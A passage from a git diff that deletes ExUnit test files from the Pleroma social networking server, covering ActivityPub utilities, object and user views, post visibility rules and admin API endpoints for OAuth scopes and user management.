Utils.update_follow_state_for_all(follow_activity_two, "accept") - - assert refresh_record(follow_activity).data["state"] == "accept" - assert refresh_record(follow_activity_two).data["state"] == "accept" - end - end - - describe "update_follow_state/2" do - test "updates the state of the given follow activity" do - user = insert(:user, locked: true) - follower = insert(:user) - - {:ok, _, _, follow_activity} = CommonAPI.follow(follower, user) - {:ok, _, _, follow_activity_two} = CommonAPI.follow(follower, user) - - data = - follow_activity_two.data - |> Map.put("state", "accept") - - cng = Ecto.Changeset.change(follow_activity_two, data: data) - - {:ok, follow_activity_two} = Repo.update(cng) - - {:ok, follow_activity_two} = Utils.update_follow_state(follow_activity_two, "reject") - - assert refresh_record(follow_activity).data["state"] == "pending" - assert refresh_record(follow_activity_two).data["state"] == "reject" - end - end - - describe "update_element_in_object/3" do - test "updates likes" do - user = insert(:user) - activity = insert(:note_activity) - object = Object.normalize(activity) - - assert {:ok, updated_object} = - Utils.update_element_in_object( - "like", - [user.ap_id], - object - ) - - assert updated_object.data["likes"] == [user.ap_id] - assert updated_object.data["like_count"] == 1 - end - end - - describe "add_like_to_object/2" do - test "add actor to likes" do - user = insert(:user) - user2 = insert(:user) - object = insert(:note) - - assert {:ok, updated_object} = - Utils.add_like_to_object( - %Activity{data: %{"actor" => user.ap_id}}, - object - ) - - assert updated_object.data["likes"] == [user.ap_id] - assert updated_object.data["like_count"] == 1 - - assert {:ok, updated_object2} = - Utils.add_like_to_object( - %Activity{data: %{"actor" => user2.ap_id}}, - updated_object - ) - - assert updated_object2.data["likes"] == [user2.ap_id, user.ap_id] - assert updated_object2.data["like_count"] == 2 - end - end - - describe "remove_like_from_object/2" do - test "removes ap_id from likes" do - user = insert(:user) - user2 = insert(:user) - object = insert(:note, data: %{"likes" => [user.ap_id, user2.ap_id], "like_count" => 2}) - - assert {:ok, updated_object} = - Utils.remove_like_from_object( - %Activity{data: %{"actor" => user.ap_id}}, - object - ) - - assert updated_object.data["likes"] == [user2.ap_id] - assert updated_object.data["like_count"] == 1 - end - end - - describe "get_existing_like/2" do - test "fetches existing like" do - note_activity = insert(:note_activity) - assert object = Object.normalize(note_activity) - - user = insert(:user) - refute Utils.get_existing_like(user.ap_id, object) - {:ok, like_activity} = CommonAPI.favorite(user, note_activity.id) - - assert ^like_activity = Utils.get_existing_like(user.ap_id, object) - end - end - - describe "get_get_existing_announce/2" do - test "returns nil if announce not found" do - actor = insert(:user) - refute Utils.get_existing_announce(actor.ap_id, %{data: %{"id" => "test"}}) - end - - test "fetches existing announce" do - note_activity = insert(:note_activity) - assert object = Object.normalize(note_activity) - actor = insert(:user) - - {:ok, announce} = CommonAPI.repeat(note_activity.id, actor) - assert Utils.get_existing_announce(actor.ap_id, object) == announce - end - end - - describe "fetch_latest_block/2" do - test "fetches last block activities" do - user1 = insert(:user) - user2 = insert(:user) - - assert {:ok, %Activity{} = _} = CommonAPI.block(user1, user2) - assert {:ok, %Activity{} = _} = CommonAPI.block(user1, user2) - assert {:ok, %Activity{} = activity} = CommonAPI.block(user1, user2) - - assert Utils.fetch_latest_block(user1, user2) == activity - end - end - - describe "recipient_in_message/3" do - test "returns true when recipient in `to`" do - recipient = insert(:user) - actor = insert(:user) - assert Utils.recipient_in_message(recipient, actor, %{"to" => recipient.ap_id}) - - assert Utils.recipient_in_message( - recipient, - actor, - %{"to" => [recipient.ap_id], "cc" => ""} - ) - end - - test "returns true when recipient in `cc`" do - recipient = insert(:user) - actor = insert(:user) - assert Utils.recipient_in_message(recipient, actor, %{"cc" => recipient.ap_id}) - - assert Utils.recipient_in_message( - recipient, - actor, - %{"cc" => [recipient.ap_id], "to" => ""} - ) - end - - test "returns true when recipient in `bto`" do - recipient = insert(:user) - actor = insert(:user) - assert Utils.recipient_in_message(recipient, actor, %{"bto" => recipient.ap_id}) - - assert Utils.recipient_in_message( - recipient, - actor, - %{"bcc" => "", "bto" => [recipient.ap_id]} - ) - end - - test "returns true when recipient in `bcc`" do - recipient = insert(:user) - actor = insert(:user) - assert Utils.recipient_in_message(recipient, actor, %{"bcc" => recipient.ap_id}) - - assert Utils.recipient_in_message( - recipient, - actor, - %{"bto" => "", "bcc" => [recipient.ap_id]} - ) - end - - test "returns true when message without addresses fields" do - recipient = insert(:user) - actor = insert(:user) - assert Utils.recipient_in_message(recipient, actor, %{"bccc" => recipient.ap_id}) - - assert Utils.recipient_in_message( - recipient, - actor, - %{"btod" => "", "bccc" => [recipient.ap_id]} - ) - end - - test "returns false" do - recipient = insert(:user) - actor = insert(:user) - refute Utils.recipient_in_message(recipient, actor, %{"to" => "ap_id"}) - end - end - - describe "lazy_put_activity_defaults/2" do - test "returns map with id and published data" do - note_activity = insert(:note_activity) - object = Object.normalize(note_activity) - res = Utils.lazy_put_activity_defaults(%{"context" => object.data["id"]}) - assert res["context"] == object.data["id"] - assert res["context_id"] == object.id - assert res["id"] - assert res["published"] - end - - test "returns map with fake id and published data" do - assert %{ - "context" => "pleroma:fakecontext", - "context_id" => -1, - "id" => "pleroma:fakeid", - "published" => _ - } = Utils.lazy_put_activity_defaults(%{}, true) - end - - test "returns activity data with object" do - note_activity = insert(:note_activity) - object = Object.normalize(note_activity) - - res = - Utils.lazy_put_activity_defaults(%{ - "context" => object.data["id"], - "object" => %{} - }) - - assert res["context"] == object.data["id"] - assert res["context_id"] == object.id - assert res["id"] - assert res["published"] - assert res["object"]["id"] - assert res["object"]["published"] - assert res["object"]["context"] == object.data["id"] - assert res["object"]["context_id"] == object.id - end - end - - describe "make_flag_data" do - test "returns empty map when params is invalid" do - assert Utils.make_flag_data(%{}, %{}) == %{} - end - - test "returns map with Flag object" do - reporter = insert(:user) - target_account = insert(:user) - {:ok, activity} = CommonAPI.post(target_account, %{status: "foobar"}) - context = Utils.generate_context_id() - content = "foobar" - - target_ap_id = target_account.ap_id - activity_ap_id = activity.data["id"] - - res = - Utils.make_flag_data( - %{ - actor: reporter, - context: context, - account: target_account, - statuses: [%{"id" => activity.data["id"]}], - content: content - }, - %{} - ) - - note_obj = %{ - "type" => "Note", - "id" => activity_ap_id, - "content" => content, - "published" => activity.object.data["published"], - "actor" => - AccountView.render("show.json", %{user: target_account, skip_visibility_check: true}) - } - - assert %{ - "type" => "Flag", - "content" => ^content, - "context" => ^context, - "object" => [^target_ap_id, ^note_obj], - "state" => "open" - } = res - end - end - - describe "add_announce_to_object/2" do - test "adds actor to announcement" do - user = insert(:user) - object = insert(:note) - - activity = - insert(:note_activity, - data: %{ - "actor" => user.ap_id, - "cc" => [Pleroma.Constants.as_public()] - } - ) - - assert {:ok, updated_object} = Utils.add_announce_to_object(activity, object) - assert updated_object.data["announcements"] == [user.ap_id] - assert updated_object.data["announcement_count"] == 1 - end - end - - describe "remove_announce_from_object/2" do - test "removes actor from announcements" do - user = insert(:user) - user2 = insert(:user) - - object = - insert(:note, - data: %{"announcements" => [user.ap_id, user2.ap_id], "announcement_count" => 2} - ) - - activity = insert(:note_activity, data: %{"actor" => user.ap_id}) - - assert {:ok, updated_object} = Utils.remove_announce_from_object(activity, object) - assert updated_object.data["announcements"] == [user2.ap_id] - assert updated_object.data["announcement_count"] == 1 - end - end - - describe "get_cached_emoji_reactions/1" do - test "returns the data or an emtpy list" do - object = insert(:note) - assert Utils.get_cached_emoji_reactions(object) == [] - - object = insert(:note, data: %{"reactions" => [["x", ["lain"]]]}) - assert Utils.get_cached_emoji_reactions(object) == [["x", ["lain"]]] - - object = insert(:note, data: %{"reactions" => %{}}) - assert Utils.get_cached_emoji_reactions(object) == [] - end - end -end diff --git a/test/web/activity_pub/views/object_view_test.exs b/test/web/activity_pub/views/object_view_test.exs deleted file mode 100644 index f0389845d..000000000 --- a/test/web/activity_pub/views/object_view_test.exs +++ /dev/null @@ -1,84 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectViewTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.ObjectView - alias Pleroma.Web.CommonAPI - - test "renders a note object" do - note = insert(:note) - - result = ObjectView.render("object.json", %{object: note}) - - assert result["id"] == note.data["id"] - assert result["to"] == note.data["to"] - assert result["content"] == note.data["content"] - assert result["type"] == "Note" - assert result["@context"] - end - - test "renders a note activity" do - note = insert(:note_activity) - object = Object.normalize(note) - - result = ObjectView.render("object.json", %{object: note}) - - assert result["id"] == note.data["id"] - assert result["to"] == note.data["to"] - assert result["object"]["type"] == "Note" - assert result["object"]["content"] == object.data["content"] - assert result["type"] == "Create" - assert result["@context"] - end - - describe "note activity's `replies` collection rendering" do - setup do: clear_config([:activitypub, :note_replies_output_limit], 5) - - test "renders `replies` collection for a note activity" do - user = insert(:user) - activity = insert(:note_activity, user: user) - - {:ok, self_reply1} = - CommonAPI.post(user, %{status: "self-reply 1", in_reply_to_status_id: activity.id}) - - replies_uris = [self_reply1.object.data["id"]] - result = ObjectView.render("object.json", %{object: refresh_record(activity)}) - - assert %{"type" => "Collection", "items" => ^replies_uris} = - get_in(result, ["object", "replies"]) - end - end - - test "renders a like activity" do - note = insert(:note_activity) - object = Object.normalize(note) - user = insert(:user) - - {:ok, like_activity} = CommonAPI.favorite(user, note.id) - - result = ObjectView.render("object.json", %{object: like_activity}) - - assert result["id"] == like_activity.data["id"] - assert result["object"] == object.data["id"] - assert result["type"] == "Like" - end - - test "renders an announce activity" do - note = insert(:note_activity) - object = Object.normalize(note) - user = insert(:user) - - {:ok, announce_activity} = CommonAPI.repeat(note.id, user) - - result = ObjectView.render("object.json", %{object: announce_activity}) - - assert result["id"] == announce_activity.data["id"] - assert result["object"] == object.data["id"] - assert result["type"] == "Announce" - end -end diff --git a/test/web/activity_pub/views/user_view_test.exs b/test/web/activity_pub/views/user_view_test.exs deleted file mode 100644 index 98c7c9d09..000000000 --- a/test/web/activity_pub/views/user_view_test.exs +++ /dev/null @@ -1,180 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.UserViewTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.User - alias Pleroma.Web.ActivityPub.UserView - alias Pleroma.Web.CommonAPI - - test "Renders a user, including the public key" do - user = insert(:user) - {:ok, user} = User.ensure_keys_present(user) - - result = UserView.render("user.json", %{user: user}) - - assert result["id"] == user.ap_id - assert result["preferredUsername"] == user.nickname - - assert String.contains?(result["publicKey"]["publicKeyPem"], "BEGIN PUBLIC KEY") - end - - test "Renders profile fields" do - fields = [ - %{"name" => "foo", "value" => "bar"} - ] - - {:ok, user} = - insert(:user) - |> User.update_changeset(%{fields: fields}) - |> User.update_and_set_cache() - - assert %{ - "attachment" => [%{"name" => "foo", "type" => "PropertyValue", "value" => "bar"}] - } = UserView.render("user.json", %{user: user}) - end - - test "Renders with emoji tags" do - user = insert(:user, emoji: %{"bib" => "/test"}) - - assert %{ - "tag" => [ - %{ - "icon" => %{"type" => "Image", "url" => "/test"}, - "id" => "/test", - "name" => ":bib:", - "type" => "Emoji", - "updated" => "1970-01-01T00:00:00Z" - } - ] - } = UserView.render("user.json", %{user: user}) - end - - test "Does not add an avatar image if the user hasn't set one" do - user = insert(:user) - {:ok, user} = User.ensure_keys_present(user) - - result = UserView.render("user.json", %{user: user}) - refute result["icon"] - refute result["image"] - - user = - insert(:user, - avatar: %{"url" => [%{"href" => "https://someurl"}]}, - banner: %{"url" => [%{"href" => "https://somebanner"}]} - ) - - {:ok, user} = User.ensure_keys_present(user) - - result = UserView.render("user.json", %{user: user}) - assert result["icon"]["url"] == "https://someurl" - assert result["image"]["url"] == "https://somebanner" - end - - test "renders an invisible user with the invisible property set to true" do - user = insert(:user, invisible: true) - - assert %{"invisible" => true} = UserView.render("service.json", %{user: user}) - end - - describe "endpoints" do - test "local users have a usable endpoints structure" do - user = insert(:user) - {:ok, user} = User.ensure_keys_present(user) - - result = UserView.render("user.json", %{user: user}) - - assert result["id"] == user.ap_id - - %{ - "sharedInbox" => _, - "oauthAuthorizationEndpoint" => _, - "oauthRegistrationEndpoint" => _, - "oauthTokenEndpoint" => _ - } = result["endpoints"] - end - - test "remote users have an empty endpoints structure" do - user = insert(:user, local: false) - {:ok, user} = User.ensure_keys_present(user) - - result = UserView.render("user.json", %{user: user}) - - assert result["id"] == user.ap_id - assert result["endpoints"] == %{} - end - - test "instance users do not expose oAuth endpoints" do - user = insert(:user, nickname: nil, local: true) - {:ok, user} = User.ensure_keys_present(user) - - result = UserView.render("user.json", %{user: user}) - - refute result["endpoints"]["oauthAuthorizationEndpoint"] - refute result["endpoints"]["oauthRegistrationEndpoint"] - refute result["endpoints"]["oauthTokenEndpoint"] - end - end - - describe "followers" do - test "sets totalItems to zero when followers are hidden" do - user = insert(:user) - other_user = insert(:user) - {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user}) - user = Map.merge(user, %{hide_followers_count: true, hide_followers: true}) - refute UserView.render("followers.json", %{user: user}) |> Map.has_key?("totalItems") - end - - test "sets correct totalItems when followers are hidden but the follower counter is not" do - user = insert(:user) - other_user = insert(:user) - {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user}) - user = Map.merge(user, %{hide_followers_count: false, hide_followers: true}) - assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user}) - end - end - - describe "following" do - test "sets totalItems to zero when follows are hidden" do - user = insert(:user) - other_user = insert(:user) - {:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user) - assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user}) - user = Map.merge(user, %{hide_follows_count: true, hide_follows: true}) - assert %{"totalItems" => 0} = UserView.render("following.json", %{user: user}) - end - - test "sets correct totalItems when follows are hidden but the follow counter is not" do - user = insert(:user) - other_user = insert(:user) - {:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user) - assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user}) - user = Map.merge(user, %{hide_follows_count: false, hide_follows: true}) - assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user}) - end - end - - describe "acceptsChatMessages" do - test "it returns this value if it is set" do - true_user = insert(:user, accepts_chat_messages: true) - false_user = insert(:user, accepts_chat_messages: false) - nil_user = insert(:user, accepts_chat_messages: nil) - - assert %{"capabilities" => %{"acceptsChatMessages" => true}} = - UserView.render("user.json", user: true_user) - - assert %{"capabilities" => %{"acceptsChatMessages" => false}} = - UserView.render("user.json", user: false_user) - - refute Map.has_key?( - UserView.render("user.json", user: nil_user)["capabilities"], - "acceptsChatMessages" - ) - end - end -end diff --git a/test/web/activity_pub/visibilty_test.exs b/test/web/activity_pub/visibilty_test.exs deleted file mode 100644 index 8e9354c65..000000000 --- a/test/web/activity_pub/visibilty_test.exs +++ /dev/null @@ -1,230 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.VisibilityTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Web.ActivityPub.Visibility - alias Pleroma.Web.CommonAPI - import Pleroma.Factory - - setup do - user = insert(:user) - mentioned = insert(:user) - following = insert(:user) - unrelated = insert(:user) - {:ok, following} = Pleroma.User.follow(following, user) - {:ok, list} = Pleroma.List.create("foo", user) - - Pleroma.List.follow(list, unrelated) - - {:ok, public} = - CommonAPI.post(user, %{status: "@#{mentioned.nickname}", visibility: "public"}) - - {:ok, private} = - CommonAPI.post(user, %{status: "@#{mentioned.nickname}", visibility: "private"}) - - {:ok, direct} = - CommonAPI.post(user, %{status: "@#{mentioned.nickname}", visibility: "direct"}) - - {:ok, unlisted} = - CommonAPI.post(user, %{status: "@#{mentioned.nickname}", visibility: "unlisted"}) - - {:ok, list} = - CommonAPI.post(user, %{ - status: "@#{mentioned.nickname}", - visibility: "list:#{list.id}" - }) - - %{ - public: public, - private: private, - direct: direct, - unlisted: unlisted, - user: user, - mentioned: mentioned, - following: following, - unrelated: unrelated, - list: list - } - end - - test "is_direct?", %{ - public: public, - private: private, - direct: direct, - unlisted: unlisted, - list: list - } do - assert Visibility.is_direct?(direct) - refute Visibility.is_direct?(public) - refute Visibility.is_direct?(private) - refute Visibility.is_direct?(unlisted) - assert Visibility.is_direct?(list) - end - - test "is_public?", %{ - public: public, - private: private, - direct: direct, - unlisted: unlisted, - list: list - } do - refute Visibility.is_public?(direct) - assert Visibility.is_public?(public) - refute Visibility.is_public?(private) - assert Visibility.is_public?(unlisted) - refute Visibility.is_public?(list) - end - - test "is_private?", %{ - public: public, - private: private, - direct: direct, - unlisted: unlisted, - list: list - } do - refute Visibility.is_private?(direct) - refute Visibility.is_private?(public) - assert Visibility.is_private?(private) - refute Visibility.is_private?(unlisted) - refute Visibility.is_private?(list) - end - - test "is_list?", %{ - public: public, - private: private, - direct: direct, - unlisted: unlisted, - list: list - } do - refute Visibility.is_list?(direct) - refute Visibility.is_list?(public) - refute Visibility.is_list?(private) - refute Visibility.is_list?(unlisted) - assert Visibility.is_list?(list) - end - - test "visible_for_user?", %{ - public: public, - private: private, - direct: direct, - unlisted: unlisted, - user: user, - mentioned: mentioned, - following: following, - unrelated: unrelated, - list: list - } do - # All visible to author - - assert Visibility.visible_for_user?(public, user) - assert Visibility.visible_for_user?(private, user) - assert Visibility.visible_for_user?(unlisted, user) - assert Visibility.visible_for_user?(direct, user) - assert Visibility.visible_for_user?(list, user) - - # All visible to a mentioned user - - assert Visibility.visible_for_user?(public, mentioned) - assert Visibility.visible_for_user?(private, mentioned) - assert Visibility.visible_for_user?(unlisted, mentioned) - assert Visibility.visible_for_user?(direct, mentioned) - assert Visibility.visible_for_user?(list, mentioned) - - # DM not visible for just follower - - assert Visibility.visible_for_user?(public, following) - assert Visibility.visible_for_user?(private, following) - assert Visibility.visible_for_user?(unlisted, following) - refute Visibility.visible_for_user?(direct, following) - refute Visibility.visible_for_user?(list, following) - - # Public and unlisted visible for unrelated user - - assert Visibility.visible_for_user?(public, unrelated) - assert Visibility.visible_for_user?(unlisted, unrelated) - refute Visibility.visible_for_user?(private, unrelated) - refute Visibility.visible_for_user?(direct, unrelated) - - # Visible for a list member - assert Visibility.visible_for_user?(list, unrelated) - end - - test "doesn't die when the user doesn't exist", - %{ - direct: direct, - user: user - } do - Repo.delete(user) - Cachex.clear(:user_cache) - refute Visibility.is_private?(direct) - end - - test "get_visibility", %{ - public: public, - private: private, - direct: direct, - unlisted: unlisted, - list: list - } do - assert Visibility.get_visibility(public) == "public" - assert Visibility.get_visibility(private) == "private" - assert Visibility.get_visibility(direct) == "direct" - assert Visibility.get_visibility(unlisted) == "unlisted" - assert Visibility.get_visibility(list) == "list" - end - - test "get_visibility with directMessage flag" do - assert Visibility.get_visibility(%{data: %{"directMessage" => true}}) == "direct" - end - - test "get_visibility with listMessage flag" do - assert Visibility.get_visibility(%{data: %{"listMessage" => ""}}) == "list" - end - - describe "entire_thread_visible_for_user?/2" do - test "returns false if not found activity", %{user: user} do - refute Visibility.entire_thread_visible_for_user?(%Activity{}, user) - end - - test "returns true if activity hasn't 'Create' type", %{user: user} do - activity = insert(:like_activity) - assert Visibility.entire_thread_visible_for_user?(activity, user) - end - - test "returns false when invalid recipients", %{user: user} do - author = insert(:user) - - activity = - insert(:note_activity, - note: - insert(:note, - user: author, - data: %{"to" => ["test-user"]} - ) - ) - - refute Visibility.entire_thread_visible_for_user?(activity, user) - end - - test "returns true if user following to author" do - author = insert(:user) - user = insert(:user) - Pleroma.User.follow(user, author) - - activity = - insert(:note_activity, - note: - insert(:note, - user: author, - data: %{"to" => [user.ap_id]} - ) - ) - - assert Visibility.entire_thread_visible_for_user?(activity, user) - end - end -end diff --git a/test/web/admin_api/controllers/admin_api_controller_test.exs b/test/web/admin_api/controllers/admin_api_controller_test.exs deleted file mode 100644 index cba6b43d3..000000000 --- a/test/web/admin_api/controllers/admin_api_controller_test.exs +++ /dev/null @@ -1,2034 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do - use Pleroma.Web.ConnCase - use Oban.Testing, repo: Pleroma.Repo - - import ExUnit.CaptureLog - import Mock - import Pleroma.Factory - import Swoosh.TestAssertions - - alias Pleroma.Activity - alias Pleroma.Config - alias Pleroma.HTML - alias Pleroma.MFA - alias Pleroma.ModerationLog - alias Pleroma.Repo - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web - alias Pleroma.Web.ActivityPub.Relay - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.MediaProxy - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - - :ok - end - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - test "with valid `admin_token` query parameter, skips OAuth scopes check" do - clear_config([:admin_token], "password123") - - user = insert(:user) - - conn = get(build_conn(), "/api/pleroma/admin/users/#{user.nickname}?admin_token=password123") - - assert json_response(conn, 200) - end - - describe "with [:auth, :enforce_oauth_admin_scope_usage]," do - setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage], true) - - test "GET /api/pleroma/admin/users/:nickname requires admin:read:accounts or broader scope", - %{admin: admin} do - user = insert(:user) - url = "/api/pleroma/admin/users/#{user.nickname}" - - good_token1 = insert(:oauth_token, user: admin, scopes: ["admin"]) - good_token2 = insert(:oauth_token, user: admin, scopes: ["admin:read"]) - good_token3 = insert(:oauth_token, user: admin, scopes: ["admin:read:accounts"]) - - bad_token1 = insert(:oauth_token, user: admin, scopes: ["read:accounts"]) - bad_token2 = insert(:oauth_token, user: admin, scopes: ["admin:read:accounts:partial"]) - bad_token3 = nil - - for good_token <- [good_token1, good_token2, good_token3] do - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, good_token) - |> get(url) - - assert json_response(conn, 200) - end - - for good_token <- [good_token1, good_token2, good_token3] do - conn = - build_conn() - |> assign(:user, nil) - |> assign(:token, good_token) - |> get(url) - - assert json_response(conn, :forbidden) - end - - for bad_token <- [bad_token1, bad_token2, bad_token3] do - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, bad_token) - |> get(url) - - assert json_response(conn, :forbidden) - end - end - end - - describe "unless [:auth, :enforce_oauth_admin_scope_usage]," do - setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage], false) - - test "GET /api/pleroma/admin/users/:nickname requires " <> - "read:accounts or admin:read:accounts or broader scope", - %{admin: admin} do - user = insert(:user) - url = "/api/pleroma/admin/users/#{user.nickname}" - - good_token1 = insert(:oauth_token, user: admin, scopes: ["admin"]) - good_token2 = insert(:oauth_token, user: admin, scopes: ["admin:read"]) - good_token3 = insert(:oauth_token, user: admin, scopes: ["admin:read:accounts"]) - good_token4 = insert(:oauth_token, user: admin, scopes: ["read:accounts"]) - good_token5 = insert(:oauth_token, user: admin, scopes: ["read"]) - - good_tokens = [good_token1, good_token2, good_token3, good_token4, good_token5] - - bad_token1 = insert(:oauth_token, user: admin, scopes: ["read:accounts:partial"]) - bad_token2 = insert(:oauth_token, user: admin, scopes: ["admin:read:accounts:partial"]) - bad_token3 = nil - - for good_token <- good_tokens do - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, good_token) - |> get(url) - - assert json_response(conn, 200) - end - - for good_token <- good_tokens do - conn = - build_conn() - |> assign(:user, nil) - |> assign(:token, good_token) - |> get(url) - - assert json_response(conn, :forbidden) - end - - for bad_token <- [bad_token1, bad_token2, bad_token3] do - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, bad_token) - |> get(url) - - assert json_response(conn, :forbidden) - end - end - end - - describe "DELETE /api/pleroma/admin/users" do - test "single user", %{admin: admin, conn: conn} do - clear_config([:instance, :federating], true) - - user = - insert(:user, - avatar: %{"url" => [%{"href" => "https://someurl"}]}, - banner: %{"url" => [%{"href" => "https://somebanner"}]}, - bio: "Hello world!", - name: "A guy" - ) - - # Create some activities to check they got deleted later - follower = insert(:user) - {:ok, _} = CommonAPI.post(user, %{status: "test"}) - {:ok, _, _, _} = CommonAPI.follow(user, follower) - {:ok, _, _, _} = CommonAPI.follow(follower, user) - user = Repo.get(User, user.id) - assert user.note_count == 1 - assert user.follower_count == 1 - assert user.following_count == 1 - refute user.deactivated - - with_mock Pleroma.Web.Federator, - publish: fn _ -> nil end, - perform: fn _, _ -> nil end do - conn = - conn - |> put_req_header("accept", "application/json") - |> delete("/api/pleroma/admin/users?nickname=#{user.nickname}") - - ObanHelpers.perform_all() - - assert User.get_by_nickname(user.nickname).deactivated - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} deleted users: @#{user.nickname}" - - assert json_response(conn, 200) == [user.nickname] - - user = Repo.get(User, user.id) - assert user.deactivated - - assert user.avatar == %{} - assert user.banner == %{} - assert user.note_count == 0 - assert user.follower_count == 0 - assert user.following_count == 0 - assert user.bio == "" - assert user.name == nil - - assert called(Pleroma.Web.Federator.publish(:_)) - end - end - - test "multiple users", %{admin: admin, conn: conn} do - user_one = insert(:user) - user_two = insert(:user) - - conn = - conn - |> put_req_header("accept", "application/json") - |> delete("/api/pleroma/admin/users", %{ - nicknames: [user_one.nickname, user_two.nickname] - }) - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} deleted users: @#{user_one.nickname}, @#{user_two.nickname}" - - response = json_response(conn, 200) - assert response -- [user_one.nickname, user_two.nickname] == [] - end - end - - describe "/api/pleroma/admin/users" do - test "Create", %{conn: conn} do - conn = - conn - |> put_req_header("accept", "application/json") - |> post("/api/pleroma/admin/users", %{ - "users" => [ - %{ - "nickname" => "lain", - "email" => "lain@example.org", - "password" => "test" - }, - %{ - "nickname" => "lain2", - "email" => "lain2@example.org", - "password" => "test" - } - ] - }) - - response = json_response(conn, 200) |> Enum.map(&Map.get(&1, "type")) - assert response == ["success", "success"] - - log_entry = Repo.one(ModerationLog) - - assert ["lain", "lain2"] -- Enum.map(log_entry.data["subjects"], & &1["nickname"]) == [] - end - - test "Cannot create user with existing email", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> put_req_header("accept", "application/json") - |> post("/api/pleroma/admin/users", %{ - "users" => [ - %{ - "nickname" => "lain", - "email" => user.email, - "password" => "test" - } - ] - }) - - assert json_response(conn, 409) == [ - %{ - "code" => 409, - "data" => %{ - "email" => user.email, - "nickname" => "lain" - }, - "error" => "email has already been taken", - "type" => "error" - } - ] - end - - test "Cannot create user with existing nickname", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> put_req_header("accept", "application/json") - |> post("/api/pleroma/admin/users", %{ - "users" => [ - %{ - "nickname" => user.nickname, - "email" => "someuser@plerama.social", - "password" => "test" - } - ] - }) - - assert json_response(conn, 409) == [ - %{ - "code" => 409, - "data" => %{ - "email" => "someuser@plerama.social", - "nickname" => user.nickname - }, - "error" => "nickname has already been taken", - "type" => "error" - } - ] - end - - test "Multiple user creation works in transaction", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> put_req_header("accept", "application/json") - |> post("/api/pleroma/admin/users", %{ - "users" => [ - %{ - "nickname" => "newuser", - "email" => "newuser@pleroma.social", - "password" => "test" - }, - %{ - "nickname" => "lain", - "email" => user.email, - "password" => "test" - } - ] - }) - - assert json_response(conn, 409) == [ - %{ - "code" => 409, - "data" => %{ - "email" => user.email, - "nickname" => "lain" - }, - "error" => "email has already been taken", - "type" => "error" - }, - %{ - "code" => 409, - "data" => %{ - "email" => "newuser@pleroma.social", - "nickname" => "newuser" - }, - "error" => "", - "type" => "error" - } - ] - - assert User.get_by_nickname("newuser") === nil - end - end - - describe "/api/pleroma/admin/users/:nickname" do - test "Show", %{conn: conn} do - user = insert(:user) - - conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}") - - expected = %{ - "deactivated" => false, - "id" => to_string(user.id), - "local" => true, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - - assert expected == json_response(conn, 200) - end - - test "when the user doesn't exist", %{conn: conn} do - user = build(:user) - - conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}") - - assert %{"error" => "Not found"} == json_response(conn, 404) - end - end - - describe "/api/pleroma/admin/users/follow" do - test "allows to force-follow another user", %{admin: admin, conn: conn} do - user = insert(:user) - follower = insert(:user) - - conn - |> put_req_header("accept", "application/json") - |> post("/api/pleroma/admin/users/follow", %{ - "follower" => follower.nickname, - "followed" => user.nickname - }) - - user = User.get_cached_by_id(user.id) - follower = User.get_cached_by_id(follower.id) - - assert User.following?(follower, user) - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} made @#{follower.nickname} follow @#{user.nickname}" - end - end - - describe "/api/pleroma/admin/users/unfollow" do - test "allows to force-unfollow another user", %{admin: admin, conn: conn} do - user = insert(:user) - follower = insert(:user) - - User.follow(follower, user) - - conn - |> put_req_header("accept", "application/json") - |> 